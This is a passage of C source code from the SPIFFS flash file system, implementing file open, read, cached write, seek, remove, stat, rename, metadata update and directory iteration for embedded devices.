SPIFFS_LOCK(fs);
spiffs_obj_id obj_id;
s32_t res;
res = spiffs_obj_lu_find_free_obj_id(fs, &obj_id, (const u8_t*)path);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_object_create(fs, obj_id, (const u8_t*)path, 0, SPIFFS_TYPE_FILE, 0);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
SPIFFS_UNLOCK(fs);
return 0;
#endif // SPIFFS_READ_ONLY
}
spiffs_file SPIFFS_open(spiffs *fs, const char *path, spiffs_flags flags, spiffs_mode mode) {
SPIFFS_API_DBG("%s '%s' " _SPIPRIfl "\n", __func__, path, flags);
(void)mode;
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
if (strlen(path) > SPIFFS_OBJ_NAME_LEN - 1) {
SPIFFS_API_CHECK_RES(fs, SPIFFS_ERR_NAME_TOO_LONG);
}
SPIFFS_LOCK(fs);
spiffs_fd *fd;
spiffs_page_ix pix;
#if SPIFFS_READ_ONLY
// not valid flags in read only mode
flags &= ~(SPIFFS_WRONLY | SPIFFS_CREAT | SPIFFS_TRUNC);
#endif // SPIFFS_READ_ONLY
s32_t res = spiffs_fd_find_new(fs, &fd, path);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_object_find_object_index_header_by_name(fs, (const u8_t*)path, &pix);
if ((flags & SPIFFS_O_CREAT) == 0) {
if (res < SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
}
if (res == SPIFFS_OK &&
(flags & (SPIFFS_O_CREAT | SPIFFS_O_EXCL)) == (SPIFFS_O_CREAT | SPIFFS_O_EXCL)) {
// creat and excl and file exists - fail
res = SPIFFS_ERR_FILE_EXISTS;
spiffs_fd_return(fs, fd->file_nbr);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
}
if ((flags & SPIFFS_O_CREAT) && res == SPIFFS_ERR_NOT_FOUND) {
#if !SPIFFS_READ_ONLY
spiffs_obj_id obj_id;
// no need to enter conflicting name here, already looked for it above
res = spiffs_obj_lu_find_free_obj_id(fs, &obj_id, 0);
if (res < SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_object_create(fs, obj_id, (const u8_t*)path, 0, SPIFFS_TYPE_FILE, &pix);
if (res < SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
flags &= ~SPIFFS_O_TRUNC;
#endif // !SPIFFS_READ_ONLY
} else {
if (res < SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
}
res = spiffs_object_open_by_page(fs, pix, fd, flags, mode);
if (res < SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
#if !SPIFFS_READ_ONLY
if (flags & SPIFFS_O_TRUNC) {
res = spiffs_object_truncate(fd, 0, 0);
if (res < SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
}
#endif // !SPIFFS_READ_ONLY
fd->fdoffset = 0;
SPIFFS_UNLOCK(fs);
return SPIFFS_FH_OFFS(fs, fd->file_nbr);
}
spiffs_file SPIFFS_open_by_dirent(spiffs *fs, struct spiffs_dirent *e, spiffs_flags flags, spiffs_mode mode) {
SPIFFS_API_DBG("%s '%s':" _SPIPRIid " " _SPIPRIfl "\n", __func__, e->name, e->obj_id, flags);
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
spiffs_fd *fd;
s32_t res = spiffs_fd_find_new(fs, &fd, 0);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_object_open_by_page(fs, e->pix, fd, flags, mode);
if (res < SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
#if !SPIFFS_READ_ONLY
if (flags & SPIFFS_O_TRUNC) {
res = spiffs_object_truncate(fd, 0, 0);
if (res < SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
}
#endif // !SPIFFS_READ_ONLY
fd->fdoffset = 0;
SPIFFS_UNLOCK(fs);
return SPIFFS_FH_OFFS(fs, fd->file_nbr);
}
spiffs_file SPIFFS_open_by_page(spiffs *fs, spiffs_page_ix page_ix, spiffs_flags flags, spiffs_mode mode) {
SPIFFS_API_DBG("%s " _SPIPRIpg " " _SPIPRIfl "\n", __func__, page_ix, flags);
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
spiffs_fd *fd;
s32_t res = spiffs_fd_find_new(fs, &fd, 0);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
if (SPIFFS_IS_LOOKUP_PAGE(fs, page_ix)) {
res = SPIFFS_ERR_NOT_A_FILE;
spiffs_fd_return(fs, fd->file_nbr);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
}
res = spiffs_object_open_by_page(fs, page_ix, fd, flags, mode);
if (res == SPIFFS_ERR_IS_FREE ||
res == SPIFFS_ERR_DELETED ||
res == SPIFFS_ERR_NOT_FINALIZED ||
res == SPIFFS_ERR_NOT_INDEX ||
res == SPIFFS_ERR_INDEX_SPAN_MISMATCH) {
res = SPIFFS_ERR_NOT_A_FILE;
}
if (res < SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
#if !SPIFFS_READ_ONLY
if (flags & SPIFFS_O_TRUNC) {
res = spiffs_object_truncate(fd, 0, 0);
if (res < SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
}
#endif // !SPIFFS_READ_ONLY
fd->fdoffset = 0;
SPIFFS_UNLOCK(fs);
return SPIFFS_FH_OFFS(fs, fd->file_nbr);
}
static s32_t spiffs_hydro_read(spiffs *fs, spiffs_file fh, void *buf, s32_t len) {
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
spiffs_fd *fd;
s32_t res;
fh = SPIFFS_FH_UNOFFS(fs, fh);
res = spiffs_fd_get(fs, fh, &fd);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
if ((fd->flags & SPIFFS_O_RDONLY) == 0) {
res = SPIFFS_ERR_NOT_READABLE;
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
}
if (fd->size == SPIFFS_UNDEFINED_LEN && len > 0) {
// special case for zero sized files
res = SPIFFS_ERR_END_OF_OBJECT;
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
}
#if SPIFFS_CACHE_WR
spiffs_fflush_cache(fs, fh);
#endif
if (fd->fdoffset + len >= fd->size) {
// reading beyond file size
s32_t avail = fd->size - fd->fdoffset;
if (avail <= 0) {
SPIFFS_API_CHECK_RES_UNLOCK(fs, SPIFFS_ERR_END_OF_OBJECT);
}
res = spiffs_object_read(fd, fd->fdoffset, avail, (u8_t*)buf);
if (res == SPIFFS_ERR_END_OF_OBJECT) {
fd->fdoffset += avail;
SPIFFS_UNLOCK(fs);
return avail;
} else {
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
len = avail;
}
} else {
// reading within file size
res = spiffs_object_read(fd, fd->fdoffset, len, (u8_t*)buf);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
}
fd->fdoffset += len;
SPIFFS_UNLOCK(fs);
return len;
}
s32_t SPIFFS_read(spiffs *fs, spiffs_file fh, void *buf, s32_t len) {
SPIFFS_API_DBG("%s " _SPIPRIfd " " _SPIPRIi "\n", __func__, fh, len);
s32_t res = spiffs_hydro_read(fs, fh, buf, len);
if (res == SPIFFS_ERR_END_OF_OBJECT) {
res = 0;
}
return res;
}
#if !SPIFFS_READ_ONLY
static s32_t spiffs_hydro_write(spiffs *fs, spiffs_fd *fd, void *buf, u32_t offset, s32_t len) {
(void)fs;
s32_t res = SPIFFS_OK;
s32_t remaining = len;
if (fd->size != SPIFFS_UNDEFINED_LEN && offset < fd->size) {
s32_t m_len = MIN((s32_t)(fd->size - offset), len);
res = spiffs_object_modify(fd, offset, (u8_t *)buf, m_len);
SPIFFS_CHECK_RES(res);
remaining -= m_len;
u8_t *buf_8 = (u8_t *)buf;
buf_8 += m_len;
buf = buf_8;
offset += m_len;
}
if (remaining > 0) {
res = spiffs_object_append(fd, offset, (u8_t *)buf, remaining);
SPIFFS_CHECK_RES(res);
}
return len;
}
#endif // !SPIFFS_READ_ONLY
s32_t SPIFFS_write(spiffs *fs, spiffs_file fh, void *buf, s32_t len) {
SPIFFS_API_DBG("%s " _SPIPRIfd " " _SPIPRIi "\n", __func__, fh, len);
#if SPIFFS_READ_ONLY
(void)fs; (void)fh; (void)buf; (void)len;
return SPIFFS_ERR_RO_NOT_IMPL;
#else
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
spiffs_fd *fd;
s32_t res;
u32_t offset;
fh = SPIFFS_FH_UNOFFS(fs, fh);
res = spiffs_fd_get(fs, fh, &fd);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
if ((fd->flags & SPIFFS_O_WRONLY) == 0) {
res = SPIFFS_ERR_NOT_WRITABLE;
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
}
if ((fd->flags & SPIFFS_O_APPEND)) {
fd->fdoffset = fd->size == SPIFFS_UNDEFINED_LEN ? 0 : fd->size;
}
offset = fd->fdoffset;
#if SPIFFS_CACHE_WR
if (fd->cache_page == 0) {
// see if object id is associated with cache already
fd->cache_page = spiffs_cache_page_get_by_fd(fs, fd);
}
#endif
if (fd->flags & SPIFFS_O_APPEND) {
if (fd->size == SPIFFS_UNDEFINED_LEN) {
offset = 0;
} else {
offset = fd->size;
}
#if SPIFFS_CACHE_WR
if (fd->cache_page) {
offset = MAX(offset, fd->cache_page->offset + fd->cache_page->size);
}
#endif
}
#if SPIFFS_CACHE_WR
if ((fd->flags & SPIFFS_O_DIRECT) == 0) {
if (len < (s32_t)SPIFFS_CFG_LOG_PAGE_SZ(fs)) {
// small write, try to cache it
u8_t alloc_cpage = 1;
if (fd->cache_page) {
// have a cached page for this fd already, check cache page boundaries
if (offset < fd->cache_page->offset || // writing before cache
offset > fd->cache_page->offset + fd->cache_page->size || // writing after cache
offset + len > fd->cache_page->offset + SPIFFS_CFG_LOG_PAGE_SZ(fs)) // writing beyond cache page
{
// boundary violation, write back cache first and allocate new
SPIFFS_CACHE_DBG("CACHE_WR_DUMP: dumping cache page " _SPIPRIi " for fd " _SPIPRIfd ":" _SPIPRIid ", boundary viol, offs:" _SPIPRIi " size:" _SPIPRIi "\n",
fd->cache_page->ix, fd->file_nbr, fd->obj_id, fd->cache_page->offset, fd->cache_page->size);
res = spiffs_hydro_write(fs, fd,
spiffs_get_cache_page(fs, spiffs_get_cache(fs), fd->cache_page->ix),
fd->cache_page->offset, fd->cache_page->size);
spiffs_cache_fd_release(fs, fd->cache_page);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
} else {
// writing within cache
alloc_cpage = 0;
}
}
if (alloc_cpage) {
fd->cache_page = spiffs_cache_page_allocate_by_fd(fs, fd);
if (fd->cache_page) {
fd->cache_page->offset = offset;
fd->cache_page->size = 0;
SPIFFS_CACHE_DBG("CACHE_WR_ALLO: allocating cache page " _SPIPRIi " for fd " _SPIPRIfd ":" _SPIPRIid "\n",
fd->cache_page->ix, fd->file_nbr, fd->obj_id);
}
}
if (fd->cache_page) {
u32_t offset_in_cpage = offset - fd->cache_page->offset;
SPIFFS_CACHE_DBG("CACHE_WR_WRITE: storing to cache page " _SPIPRIi " for fd " _SPIPRIfd ":" _SPIPRIid ", offs " _SPIPRIi ":" _SPIPRIi " len " _SPIPRIi "\n",
fd->cache_page->ix, fd->file_nbr, fd->obj_id,
offset, offset_in_cpage, len);
spiffs_cache *cache = spiffs_get_cache(fs);
u8_t *cpage_data = spiffs_get_cache_page(fs, cache, fd->cache_page->ix);
#ifdef _SPIFFS_TEST
{
intptr_t __a1 = (u8_t*)&cpage_data[offset_in_cpage]-(u8_t*)cache;
intptr_t __a2 = (u8_t*)&cpage_data[offset_in_cpage]+len-(u8_t*)cache;
intptr_t __b = sizeof(spiffs_cache) + cache->cpage_count * (sizeof(spiffs_cache_page) + SPIFFS_CFG_LOG_PAGE_SZ(fs));
if (__a1 > __b || __a2 > __b) {
printf("FATAL OOB: CACHE_WR: memcpy to cache buffer ixs:%4ld..%4ld of %4ld\n", __a1, __a2, __b);
ERREXIT();
}
}
#endif
_SPIFFS_MEMCPY(&cpage_data[offset_in_cpage], buf, len);
fd->cache_page->size = MAX(fd->cache_page->size, offset_in_cpage + len);
fd->fdoffset += len;
SPIFFS_UNLOCK(fs);
return len;
} else {
res = spiffs_hydro_write(fs, fd, buf, offset, len);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
fd->fdoffset += len;
SPIFFS_UNLOCK(fs);
return res;
}
} else {
// big write, no need to cache it - but first check if there is a cached write already
if (fd->cache_page) {
// write back cache first
SPIFFS_CACHE_DBG("CACHE_WR_DUMP: dumping cache page " _SPIPRIi " for fd " _SPIPRIfd ":" _SPIPRIid ", big write, offs:" _SPIPRIi " size:" _SPIPRIi "\n",
fd->cache_page->ix, fd->file_nbr, fd->obj_id, fd->cache_page->offset, fd->cache_page->size);
res = spiffs_hydro_write(fs, fd,
spiffs_get_cache_page(fs, spiffs_get_cache(fs), fd->cache_page->ix),
fd->cache_page->offset, fd->cache_page->size);
spiffs_cache_fd_release(fs, fd->cache_page);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
// data written below
}
}
}
#endif
res = spiffs_hydro_write(fs, fd, buf, offset, len);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
fd->fdoffset += len;
SPIFFS_UNLOCK(fs);
return res;
#endif // SPIFFS_READ_ONLY
}
s32_t SPIFFS_lseek(spiffs *fs, spiffs_file fh, s32_t offs, int whence) {
SPIFFS_API_DBG("%s " _SPIPRIfd " " _SPIPRIi " %s\n", __func__, fh, offs, (const char* []){"SET","CUR","END","???"}[MIN(whence,3)]);
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
spiffs_fd *fd;
s32_t res;
fh = SPIFFS_FH_UNOFFS(fs, fh);
res = spiffs_fd_get(fs, fh, &fd);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
#if SPIFFS_CACHE_WR
spiffs_fflush_cache(fs, fh);
#endif
s32_t file_size = fd->size == SPIFFS_UNDEFINED_LEN ? 0 : fd->size;
switch (whence) {
case SPIFFS_SEEK_CUR:
offs = fd->fdoffset+offs;
break;
case SPIFFS_SEEK_END:
offs = file_size + offs;
break;
}
if (offs < 0) {
SPIFFS_API_CHECK_RES_UNLOCK(fs, SPIFFS_ERR_SEEK_BOUNDS);
}
if (offs > file_size) {
fd->fdoffset = file_size;
res = SPIFFS_ERR_END_OF_OBJECT;
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
spiffs_span_ix data_spix = (offs > 0 ? (offs-1) : 0) / SPIFFS_DATA_PAGE_SIZE(fs);
spiffs_span_ix objix_spix = SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, data_spix);
if (fd->cursor_objix_spix != objix_spix) {
spiffs_page_ix pix;
res = spiffs_obj_lu_find_id_and_span(
fs, fd->obj_id | SPIFFS_OBJ_ID_IX_FLAG, objix_spix, 0, &pix);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
fd->cursor_objix_spix = objix_spix;
fd->cursor_objix_pix = pix;
}
fd->fdoffset = offs;
SPIFFS_UNLOCK(fs);
return offs;
}
s32_t SPIFFS_remove(spiffs *fs, const char *path) {
SPIFFS_API_DBG("%s '%s'\n", __func__, path);
#if SPIFFS_READ_ONLY
(void)fs; (void)path;
return SPIFFS_ERR_RO_NOT_IMPL;
#else
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
if (strlen(path) > SPIFFS_OBJ_NAME_LEN - 1) {
SPIFFS_API_CHECK_RES(fs, SPIFFS_ERR_NAME_TOO_LONG);
}
SPIFFS_LOCK(fs);
spiffs_fd *fd;
spiffs_page_ix pix;
s32_t res;
res = spiffs_fd_find_new(fs, &fd, 0);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_object_find_object_index_header_by_name(fs, (const u8_t*)path, &pix);
if (res != SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_object_open_by_page(fs, pix, fd, 0,0);
if (res != SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_object_truncate(fd, 0, 1);
if (res != SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
SPIFFS_UNLOCK(fs);
return 0;
#endif // SPIFFS_READ_ONLY
}
s32_t SPIFFS_fremove(spiffs *fs, spiffs_file fh) {
SPIFFS_API_DBG("%s " _SPIPRIfd "\n", __func__, fh);
#if SPIFFS_READ_ONLY
(void)fs; (void)fh;
return SPIFFS_ERR_RO_NOT_IMPL;
#else
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
spiffs_fd *fd;
s32_t res;
fh = SPIFFS_FH_UNOFFS(fs, fh);
res = spiffs_fd_get(fs, fh, &fd);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
if ((fd->flags & SPIFFS_O_WRONLY) == 0) {
res = SPIFFS_ERR_NOT_WRITABLE;
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
}
#if SPIFFS_CACHE_WR
spiffs_cache_fd_release(fs, fd->cache_page);
#endif
res = spiffs_object_truncate(fd, 0, 1);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
SPIFFS_UNLOCK(fs);
return 0;
#endif // SPIFFS_READ_ONLY
}
static s32_t spiffs_stat_pix(spiffs *fs, spiffs_page_ix pix, spiffs_file fh, spiffs_stat *s) {
(void)fh;
spiffs_page_object_ix_header objix_hdr;
spiffs_obj_id obj_id;
s32_t res =_spiffs_rd(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_READ, fh,
SPIFFS_PAGE_TO_PADDR(fs, pix), sizeof(spiffs_page_object_ix_header), (u8_t *)&objix_hdr);
SPIFFS_API_CHECK_RES(fs, res);
u32_t obj_id_addr = SPIFFS_BLOCK_TO_PADDR(fs, SPIFFS_BLOCK_FOR_PAGE(fs , pix)) +
SPIFFS_OBJ_LOOKUP_ENTRY_FOR_PAGE(fs, pix) * sizeof(spiffs_obj_id);
res =_spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_READ, fh,
obj_id_addr, sizeof(spiffs_obj_id), (u8_t *)&obj_id);
SPIFFS_API_CHECK_RES(fs, res);
s->obj_id = obj_id & ~SPIFFS_OBJ_ID_IX_FLAG;
s->type = objix_hdr.type;
s->size = objix_hdr.size == SPIFFS_UNDEFINED_LEN ? 0 : objix_hdr.size;
s->pix = pix;
strncpy((char *)s->name, (char *)objix_hdr.name, SPIFFS_OBJ_NAME_LEN);
#if SPIFFS_OBJ_META_LEN
_SPIFFS_MEMCPY(s->meta, objix_hdr.meta, SPIFFS_OBJ_META_LEN);
#endif
return res;
}
s32_t SPIFFS_stat(spiffs *fs, const char *path, spiffs_stat *s) {
SPIFFS_API_DBG("%s '%s'\n", __func__, path);
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
if (strlen(path) > SPIFFS_OBJ_NAME_LEN - 1) {
SPIFFS_API_CHECK_RES(fs, SPIFFS_ERR_NAME_TOO_LONG);
}
SPIFFS_LOCK(fs);
s32_t res;
spiffs_page_ix pix;
res = spiffs_object_find_object_index_header_by_name(fs, (const u8_t*)path, &pix);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_stat_pix(fs, pix, 0, s);
SPIFFS_UNLOCK(fs);
return res;
}
s32_t SPIFFS_fstat(spiffs *fs, spiffs_file fh, spiffs_stat *s) {
SPIFFS_API_DBG("%s " _SPIPRIfd "\n", __func__, fh);
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
spiffs_fd *fd;
s32_t res;
fh = SPIFFS_FH_UNOFFS(fs, fh);
res = spiffs_fd_get(fs, fh, &fd);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
#if SPIFFS_CACHE_WR
spiffs_fflush_cache(fs, fh);
#endif
res = spiffs_stat_pix(fs, fd->objix_hdr_pix, fh, s);
SPIFFS_UNLOCK(fs);
return res;
}
// Checks if there are any cached writes for the object id associated with
// given filehandle. If so, these writes are flushed.
#if SPIFFS_CACHE == 1
static s32_t spiffs_fflush_cache(spiffs *fs, spiffs_file fh) {
(void)fs;
(void)fh;
s32_t res = SPIFFS_OK;
#if !SPIFFS_READ_ONLY && SPIFFS_CACHE_WR
spiffs_fd *fd;
res = spiffs_fd_get(fs, fh, &fd);
SPIFFS_API_CHECK_RES(fs, res);
if ((fd->flags & SPIFFS_O_DIRECT) == 0) {
if (fd->cache_page == 0) {
// see if object id is associated with cache already
fd->cache_page = spiffs_cache_page_get_by_fd(fs, fd);
}
if (fd->cache_page) {
SPIFFS_CACHE_DBG("CACHE_WR_DUMP: dumping cache page " _SPIPRIi " for fd " _SPIPRIfd ":" _SPIPRIid ", flush, offs:" _SPIPRIi " size:" _SPIPRIi "\n",
fd->cache_page->ix, fd->file_nbr, fd->obj_id, fd->cache_page->offset, fd->cache_page->size);
res = spiffs_hydro_write(fs, fd,
spiffs_get_cache_page(fs, spiffs_get_cache(fs), fd->cache_page->ix),
fd->cache_page->offset, fd->cache_page->size);
if (res < SPIFFS_OK) {
fs->err_code = res;
}
spiffs_cache_fd_release(fs, fd->cache_page);
}
}
#endif
return res;
}
#endif
s32_t SPIFFS_fflush(spiffs *fs, spiffs_file fh) {
SPIFFS_API_DBG("%s " _SPIPRIfd "\n", __func__, fh);
(void)fh;
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
s32_t res = SPIFFS_OK;
#if !SPIFFS_READ_ONLY && SPIFFS_CACHE_WR
SPIFFS_LOCK(fs);
fh = SPIFFS_FH_UNOFFS(fs, fh);
res = spiffs_fflush_cache(fs, fh);
SPIFFS_API_CHECK_RES_UNLOCK(fs,res);
SPIFFS_UNLOCK(fs);
#endif
return res;
}
s32_t SPIFFS_close(spiffs *fs, spiffs_file fh) {
SPIFFS_API_DBG("%s " _SPIPRIfd "\n", __func__, fh);
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
s32_t res = SPIFFS_OK;
SPIFFS_LOCK(fs);
fh = SPIFFS_FH_UNOFFS(fs, fh);
#if SPIFFS_CACHE
res = spiffs_fflush_cache(fs, fh);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
#endif
res = spiffs_fd_return(fs, fh);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
SPIFFS_UNLOCK(fs);
return res;
}
s32_t SPIFFS_rename(spiffs *fs, const char *old_path, const char *new_path) {
SPIFFS_API_DBG("%s %s %s\n", __func__, old_path, new_path);
#if SPIFFS_READ_ONLY
(void)fs; (void)old_path; (void)new_path;
return SPIFFS_ERR_RO_NOT_IMPL;
#else
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
if (strlen(new_path) > SPIFFS_OBJ_NAME_LEN - 1 ||
strlen(old_path) > SPIFFS_OBJ_NAME_LEN - 1) {
SPIFFS_API_CHECK_RES(fs, SPIFFS_ERR_NAME_TOO_LONG);
}
SPIFFS_LOCK(fs);
spiffs_page_ix pix_old, pix_dummy;
spiffs_fd *fd;
s32_t res = spiffs_object_find_object_index_header_by_name(fs, (const u8_t*)old_path, &pix_old);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_object_find_object_index_header_by_name(fs, (const u8_t*)new_path, &pix_dummy);
if (res == SPIFFS_ERR_NOT_FOUND) {
res = SPIFFS_OK;
} else if (res == SPIFFS_OK) {
res = SPIFFS_ERR_CONFLICTING_NAME;
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_fd_find_new(fs, &fd, 0);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_object_open_by_page(fs, pix_old, fd, 0, 0);
if (res != SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, fd->objix_hdr_pix, 0, (const u8_t*)new_path,
0, 0, &pix_dummy);
#if SPIFFS_TEMPORAL_FD_CACHE
if (res == SPIFFS_OK) {
spiffs_fd_temporal_cache_rehash(fs, old_path, new_path);
}
#endif
spiffs_fd_return(fs, fd->file_nbr);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
SPIFFS_UNLOCK(fs);
return res;
#endif // SPIFFS_READ_ONLY
}
#if SPIFFS_OBJ_META_LEN
s32_t SPIFFS_update_meta(spiffs *fs, const char *name, const void *meta) {
#if SPIFFS_READ_ONLY
(void)fs; (void)name; (void)meta;
return SPIFFS_ERR_RO_NOT_IMPL;
#else
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
spiffs_page_ix pix, pix_dummy;
spiffs_fd *fd;
s32_t res = spiffs_object_find_object_index_header_by_name(fs, (const u8_t*)name, &pix);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_fd_find_new(fs, &fd, 0);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_object_open_by_page(fs, pix, fd, 0, 0);
if (res != SPIFFS_OK) {
spiffs_fd_return(fs, fd->file_nbr);
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
res = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, fd->objix_hdr_pix, 0, 0, meta,
0, &pix_dummy);
spiffs_fd_return(fs, fd->file_nbr);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
SPIFFS_UNLOCK(fs);
return res;
#endif // SPIFFS_READ_ONLY
}
s32_t SPIFFS_fupdate_meta(spiffs *fs, spiffs_file fh, const void *meta) {
#if SPIFFS_READ_ONLY
(void)fs; (void)fh; (void)meta;
return SPIFFS_ERR_RO_NOT_IMPL;
#else
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
s32_t res;
spiffs_fd *fd;
spiffs_page_ix pix_dummy;
fh = SPIFFS_FH_UNOFFS(fs, fh);
res = spiffs_fd_get(fs, fh, &fd);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
if ((fd->flags & SPIFFS_O_WRONLY) == 0) {
res = SPIFFS_ERR_NOT_WRITABLE;
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
}
res = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, fd->objix_hdr_pix, 0, 0, meta,
0, &pix_dummy);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
SPIFFS_UNLOCK(fs);
return res;
#endif // SPIFFS_READ_ONLY
}
#endif // SPIFFS_OBJ_META_LEN
spiffs_DIR *SPIFFS_opendir(spiffs *fs, const char *name, spiffs_DIR *d) {
SPIFFS_API_DBG("%s\n", __func__);
(void)name;
if (!SPIFFS_CHECK_CFG((fs))) {
(fs)->err_code = SPIFFS_ERR_NOT_CONFIGURED;
return 0;
}
if (!SPIFFS_CHECK_MOUNT(fs)) {
fs->err_code = SPIFFS_ERR_NOT_MOUNTED;
return 0;
}
d->fs = fs;
d->block = 0;
d->entry = 0;
return d;
}
static s32_t spiffs_read_dir_v(
spiffs *fs,
spiffs_obj_id obj_id,
spiffs_block_ix bix,
int ix_entry,
const void *user_const_p,
void *user_var_p) {
(void)user_const_p;
s32_t res;
spiffs_page_object_ix_header objix_hdr;
if (obj_id == SPIFFS_OBJ_ID_FREE || obj_id == SPIFFS_OBJ_ID_DELETED ||
(obj_id & SPIFFS_OBJ_ID_IX_FLAG) == 0) {
return SPIFFS_VIS_COUNTINUE;
}
spiffs_page_ix pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, ix_entry);
res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ,
0, SPIFFS_PAGE_TO_PADDR(fs, pix), sizeof(spiffs_page_object_ix_header), (u8_t *)&objix_hdr);
if (res != SPIFFS_OK) return res;
if ((obj_id & SPIFFS_OBJ_ID_IX_FLAG) &&
objix_hdr.p_hdr.span_ix == 0 &&
(objix_hdr.p_hdr.flags & (SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_IXDELE)) ==
(SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_IXDELE)) {
